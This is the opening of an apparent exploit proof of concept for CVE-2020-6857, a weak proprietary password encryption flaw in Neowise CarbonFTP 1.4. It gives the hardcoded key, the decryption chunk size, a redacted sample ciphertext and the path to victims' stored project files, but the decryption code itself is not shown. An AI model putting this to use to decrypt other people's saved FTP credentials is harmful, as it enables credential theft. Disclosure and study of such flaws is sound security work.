# Title: Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption
# Date: 2020-04-20
# Author: hyp3rlinx
# Vendor:
# CVE: CVE-2020-6857

import time, string, sys, argparse, os, codecs

#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.
#This should be compatible for Python 2 and 3 versions now, tested successfully.
#Sample test password 
#LOOOOONGPASSWORD! =[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]10947 

key="97F"  #2431 in decimal, the weak hardcoded encryption key within the vuln program.
chunk_sz=5 #number of bytes we must decrypt the password by.

#Password is stored here:
#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP
